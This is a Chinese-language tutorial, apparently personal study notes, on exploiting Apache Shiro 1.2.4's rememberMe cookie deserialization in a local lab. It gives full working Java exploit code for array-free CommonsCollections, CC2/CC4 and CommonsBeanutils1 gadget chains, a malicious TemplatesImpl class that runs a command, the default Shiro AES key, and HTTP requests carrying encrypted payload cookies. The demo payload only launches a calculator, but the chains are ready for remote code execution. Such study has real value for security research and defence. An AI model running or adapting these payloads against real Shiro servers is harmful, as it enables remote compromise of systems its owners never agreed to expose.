选一个local的tomcat:

然后按默认的来就行了,接着点一下这个fix:

选第一个即可:

最后直接run,就可以跳转到登录页面了:

然后终于可以大展拳脚了,账号是root,密码是secret,勾一下Remember me,可以看到有一个rememberMe的cookie

Shiro 提供 rememberMe 功能,用于在关闭浏览器后,仍然能“记住”用户的登录状态。它的机制是:

  • 登录成功时,将用户的身份信息进行序列化;
  • 然后通过对称加密(AES)加密后,存储到客户端的 Cookie 中(默认名叫 rememberMe);
  • 用户下次访问时,Shiro 会读取 Cookie,并 解密+反序列化 来还原用户身份

Shiro 在解密 Cookie 后,会将其内容当成 Java 对象进行反序列化,但却没有做严格的类型检查或白名单限制。因此攻击者只要能构造一个恶意的序列化对象,然后使用 Shiro 使用的加密密钥进行加密Shiro,并将这个值放进 Cookie 中发给服务器,那么服务器会在接收到 Cookie 后解密并反序列化,最终触发恶意代码,因此流程就是:rememberMe的cookie值 –> Base64解码 –> AES解密 –> 反序列化。

这里我们先下一个有漏洞的shiro 1.2.4,那么现在的思路其实也很清晰了,把我们学习的CC链生成一个payload,用shiro的key加密再发给服务器,服务器就会反序列化然后执行我们的恶意代码,比如这个demo(这个CommonsCollections6是我们之前创的类,或者copy一下p神的放在同一个包里就行):

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.util.Base64;

public class attack1 {
    public static void main(String[] args) throws Exception {
        byte[] payload = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payload, key);
        System.out.printf(ciphertext.toString());
    }
}

可惜,报错了:

在shiro里,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,因此CommonsCollections6无法利用,因为其中用到了Transformer数组,现在我们需要思考一种不含数组的Gadget,之前我们学习CC3的时候,其实还是用到了TemplatesImpl和InvokerTransformer,因此需要用到Transformer数组,所以仍然打不通。

这里我们可以学习wh1s3p1g的打法,那就是CC6里的TiedMapEntry,当时我们只关注了它的构造方法,以及使用getValue触发get:

当时我们的key是随便传的,而现在由于不能使用数组,ChainedTransformer是用不了了,我们该怎么实现恶意对象与恶意对象之间的连接呢?非常恰好,getValue会触发this.map.get(this.key),而当我们传入一个LazyMap,LazyMap的get方法实际上直接对key进行了transform:

那么之前CC6链子的代码这里其实可以简化:

Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(obj),
 new InvokerTransformer("newTransformer", null, null)
};

我们其实完全不需要 new ConstantTransformer(obj) 这一步,只需要把恶意对象传入作为key就可以了,那么现在的数组长度变成了1,自然也不需要数组了。

首先,我们参考cc3构造TemplatesImpl 的链子:

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

接着接入cc3的链子,但注意这里我们需要写一个恶意类,因为是要放入TemplatesImpl加载,所以得继承AbstractTranslet:

package shiroTest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilTest extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public EvilTest() throws IOException {
        super();
        Runtime.getRuntime().exec("calc.exe");
    }
}

这里用到了javassist,这是一个字节码操纵的第三方库,可以帮助我们将恶意类生成字节码再交给 TemplatesImpl:

ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();

最后完整的代码如下:

package shiroTest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class attack2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        // faketransformer防止构造时触发
        Transformer faketransformer = new InvokerTransformer("getClass", null, null);
        // CC6pro
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, faketransformer);
        // key传入恶意TemplatesImpl对象
        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
        HashMap expMap = new HashMap();
        expMap.put(tme, "value");
        outerMap.clear();
        //将faketransformer改造,iMethodName换成newTransformer触发链子
        setFieldValue(faketransformer, "iMethodName", "newTransformer");

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        // shiro数据生成
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }
}

最后发包即可,注意cookie里不要带那个jsessionid:

GET /shirodemo_war/login.jsp;jsessionid=9F501E9D8F627986EB016F32C3738C4A HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: http://localhost:8080
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://localhost:8080/shirodemo_war/login.jsp;jsessionid=9F501E9D8F627986EB016F32C3738C4A
Cookie: rememberMe=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
Upgrade-Insecure-Requests: 1
Priority: u=0, i

CommonsCollections4

Apache Commons Collections有两个分⽀版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

前者是老的包,版本号是3.2.1,后者是2013年推出的新版本,版本号是4.0。对于我们安全研究员而言,最大的区别就是 LazyMap.decorate 没了,被换成了 LazyMap.lazyMap ,因此也就是换个名字的事儿,CC3的链子换一下名字也还是能打通,包括CC1和CC3。

而yso为 org.apache.commons:commons-collections4 准备了两条新的利用链,那就是CC2和CC4,在CC里找Gadget,其实能直接抽象成从 Serializable#readObject() 寻找到 Transformer#transform() 调用链的过程,而当我们看到yso的CC2的Gadget,可以看到它是通过 PriorityQueueTransformingComparator 实现的这个过程:

   Gadget chain:
      ObjectInputStream.readObject()
         PriorityQueue.readObject()
            ...
               TransformingComparator.compare()
                  InvokerTransformer.transform()
                     Method.invoke()
                        Runtime.exec()

首先, TransformingComparatorcompare 方法调用了 transform:

java.util.PriorityQueue ,它有一个自己的 readObject(),其中调用了 heapify

我们再跟一下这个 heapify,它调用了 siftDown :

再跟这个 siftDown ,它调用了 siftDownUsingComparator

而这个 siftDownUsingComparator 就调用了 compare ,非常美妙,直接串起来了

现在开始愉快的编写POC,首先和之前一样创建transformer:

Transformer[] faketransformer = new Transformer[]{new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) })};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new String[]{"calc.exe"}),
                new ConstantTransformer(1) };

// 传入fake防止序列化时执行
        Transformer transformerChain = new ChainedTransformer(faketransformer);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

接着创建一个 comparator,把 transformerChain 传进去

Comparator comparator = new TransformingComparator(transformerChain);

接着实例化 PriorityQueue,注意,因为 compare 需要在两个东西之间比较,所以自然也需要传入两个单位,第一个参数随便写就行,第二个参数写我们的comparator,这样在comparator.compare的时候,就会触发 TransformingComparator#transform ,然后随便加两个数字进去来填充这个优先队列:

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

最后设置恶意 transformer 即可:

setFieldValue(transformerChain, "iTransformers", transformers);

当然,这里我们也不妨思考一下如何构造一个无数组的利用链,这样就能用在shiro里也打通了。

首先创建 TemplatesImpl 对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

接着创建人畜无害的 InvokerTransformer,用它对Comparator实例化:

Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);

然后实例化 PriorityQueue,添加恶意的 TemplatesImpl 对象 :

PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(obj);
queue.add(obj);

为什么这里使用 queue.add(obj) 而不是add(1)呢?因为我们使用 TemplatesImpl 取代了 ChainedTransformer ,那如何接受我们构造的obj呢?其实在 Comparator#compare() 时,队列⾥的元素将作为参数传⼊ transform() ⽅法,这就是传给 TemplatesImpl#newTransformer 的参数,所以我们最后传入 TemplatesImpl 对象,就会成功进入 TemplatesImpl#newTransformer 进而触发链子:

最后完整代码:

package com.CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class newCC2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        // 无害transformer防止构造时触发
        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);
        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

CommonsBeanutils1

Apache Commons BeanUtils 是一个 Java 工具库,主要用来简化操作 JavaBean 的过程,比如:

  • 快速设置/获取 JavaBean 的属性
  • 支持通过字符串动态设置属性(甚至嵌套对象的属性)
  • 复制对象的属性到另一个对象
  • 类型转换(比如把字符串 "123" 转成 int)

而它提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,这里我下了一个1.8.3的,然后补了一个commons-logging-1.2.jar,比如下面这个代码例子:

我们首先创建一个Cat.java:

package com.CB;

public class Cat {
    private String name = "胖宝宝";

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

然后再写一个getPropertyTest.java,我们直接使用 PropertyUtils 来调用 getter 获取 Cat 里的 name 属性(但注意,如果那个类里没写 getXxx(),它是取不到的):

package com.CB;

import org.apache.commons.beanutils.PropertyUtils;

public class getPropertyTest {
    public static void main(String[] args) throws Exception {
        System.out.println(PropertyUtils.getProperty(new Cat(), "name"));
    }
}

回到今天的主题 CB 链,我们的入口点其实还是 PriorityQueue ,因为它在反序列化后为了保证有序会自动调用一次比较器的 compare,而CB链本身其实就是想一个新的方法利用 java.util.Comparator ,思考如何触发 transform 执行恶意代码,而 CB 链中我们的触发点就在 org.apache.commons.beanutils.BeanComparator,这就是 commons-beanutils 提供的比较两个JavaBean是否相等的类,里面有一个 java.util.Comparator 接口:

简单分析一下逻辑,如果property不为null,那么就会执行 PropertyUtils.getProperty 调用JavaBean的getter方法去获取值进行 compare,现在我们实际上就能对任意方法进行 get 调用,那有没有什么 get 方法能执行恶意代码呢?有的,那就是我们熟悉的 TemplatesImpl ,其实在 TemplatesImpl#newTransformer() 的上面还有一层,那就是 TemplatesImpl#getOutputProperties(),它可是能调用 newTransformer 的,而它是符合JavaBean的getter的定义的,当然也能被我们利用上:

此时对于 PropertyUtils.getProperty(o1, this.property),只要 o1 是一个 TemplatesImplthis.propertyOutputProperties ,那么就会自动调用 getOutputProperties ,从而执行代码,这也就能接上我们之前的 CC2 链子了。

老套路,首先创建 TemplatesImpl 对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

接着实例化一个 BeanComparator

final BeanComparator comparator = new BeanComparator();

然后用这个 comparator 实例化优先队列 PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

这里我们需要把 TemplatesImpl 对象传入 PriorityQueuequeue,把 BeanComparator 传入 PriorityQueuecomparator,这样当我们把 property 传值为 outputProperties,就会调用 getProperty 从而触发 TemplatesImpl#getOutputProperties() 进入到利用链:

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整的代码:

package com.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator();
        PriorityQueue queue = new PriorityQueue(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

现在我们来思考如何在shiro里利用CB1链,我们看p神的shiro demo里,其实是有一个 CC 依赖的,我们先点右边的maven:

再点一下shirodemo就看到了,有一个CC 3.2.1:

这里我们去 pom.xml 里把这个依赖删了:

再打开,就可以看到原本的CC 3.2.1没了,多了一个 CB 1.8.3

因此其实一般的shiro环境是没有CC的,想打通只能靠 CB ,但想要直接靠我们之前的poc打通有几个坑点,这里p神也说明了,首先CB版本必须一致:

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方 的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患

其次,CB反序列化的时候其实也依靠了CC,但shiro里的CC只有一部分,不是全的,所以我们之前的链子直接打打不通,如果你直接打,会出现报错:

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

我们来查找一下这个 ComparableComparator,可以发现是在实例化的时候,如果我们没有给他传入comparator,就会调用这个 ComparableComparator

那么我们只需要找一个 ComparableComparator 的平替即可,它得满足:

  • 实现 java.util.Comparator接口
  • 实现 java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

在 Windows 系统中,IntelliJ IDEA 中用于查找接口实现类的快捷键是 Ctrl + Alt + B,当我们将光标放在接口名称或方法上时,按下此组合键,IDE 会显示所有实现该接口或方法的类列表​,我们在这里可以找到一个符合该要求的目标 CaseInsensitiveComparator

我们看一下它的实现,它是 java.lang.String 类下的一个内部私有类,并且实现了 ComparatorSerializable,是我们的完美替代品:

在它的上面,可以看到一行 public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();

这个 CASE_INSENSITIVE_ORDER 是一个 public static final 字段,直接持有了一个 CaseInsensitiveComparator 的实例,所以任何地方都可以直接通过 String.CASE_INSENSITIVE_ORDER 拿到这个已经 new 好的对象实例,因此我们只需要在实例化 BeanComparator 的时候传一个 String.CASE_INSENSITIVE_ORDER 即可绕过对于CC的依赖:

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

还要注意,因为现在这个东西是string与string之间的比较,所以我们得传两个”1″,现在完整的代码如下:

package com.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class NewCB1 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        // shiro数据生成
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
//        System.out.println(barr);
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        Object o = (Object) ois.readObject();
    }
}
GET /shirodemo_war/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: rememberMe=NFjGuxJGL3xIbiJuyakLSPh/79L9bXPl7ZMkMRyctJP0tBaKN1pr9AryNYyVbIU0gh6ODirkxKZcBDXwKBFkdFJ2UB51wvGneFbSn+ooG4PL6CmhOq7itvZAAIU+jtzYWYZRkCf6gYOFTa5SbHe25HaiNpRYv0y8l0BnM7jS9Rwdl94bWZ3eADS/tEHbbijC43/lA3DHcGOetbDfJ9k/tLMOtlLS1WCKnmi9j+6MIiR9S8SO/lW9u9MTi47Z2WTfgZ3NJipGm08oJfmnhaTKH3P1+que19qi7AuUDgn0Y1/rqXccGdJoJjcBFGuwZvnI/Cx+iNI/Erjh9bTgbNYAtZL547KRIaf1PczCfk8eXe+TVMgVh+Twiv87mQG58/rI7jKpcT0xAiYRP4fGktY8hBKbBKYcQ+1VI1Xbz3GlwB4Lf1uYeHb7auBf24Vmg068ZEh8zqqF6xE0Zr7QNdw7BnMzjZ4f5GImlNXRTqKnCY+aCRjVMIxqpQSw1H+Flc4a/pq3JEsrZhSoVdygkejuMlrzlx7PxKI19ttDihKM6FzY5kCI71z6OLyXfW0g6efZEvTQPYd0b51diCijRx6qtAbD2sQnGtU4juxf8Jmg7Pu/B2Z6waIRB0+/LJuFPX9vCG0un1hb6qW7LcRdbC675DUcF36tT+20kSsd0FQNZEfH2DqbmG3PmJW2DgqBOQp0OPAvNXLdHPlBNYuXX+rR/zqI8rGA+NzhBxv8wPp2XlDed2c7ngLBH0VDo37PzzWyYTmvnt1BjLr4OF3z/9Jnr+6NHikeOEmqmI1m7tluw/LATIO5nNNGskgbfLE2FBCB+zB8iUjKA4+RK4ap9yaUaoK62Bhgs3G/x8jz/xWnAjk76L18iWjxFjTfOQuWYPZ0xTYPmlkSPjUIx3nEdeFSIY8mNxTO5HC6C1Kfvrs2MfwYl3zRnMzjE3jQPSu3d99DBKXlUYVpC7YyFxUCqcpfNw0nVqoePSmLEMho96C8xKUPz0EAiFdqKZiML/+dMAfwZsQs5QxaMRh2ME/7TOSs15Ej9nL1hH+FTNDS/RqE2iggpoZIW8rxm5nfWnMPOq+ItEf+EpgE1ZdjJJWAFddKie2XWUtxahenM9MdyLzNzWvHOJDufJuv5ZAW2I98ay8i1uhBnr+va9/dWlwTx8wbJ+mx/etCYZVWZCdA2lAEycJu90G00307dns+zae3Jc0tkAcHEi95K/a8WDEvAAWxof6sgAwfAzp+mQd2ORmhMZPJ2boR1PNA8z6BiWywQMM22xbK6gZTOpkPdP+t6bu0C8OYHDMQJ/2Usclu4R25fPJ1S47b3OajipYfRPWiFhq0lng4KqC9E6wWbP1rRg/KjgV/Ztp4SFDej6dPQ3UqjNZ7oHViwcwmkcGIqlo1FaMrgQkTpRtnnaEsN0J77XgZ9+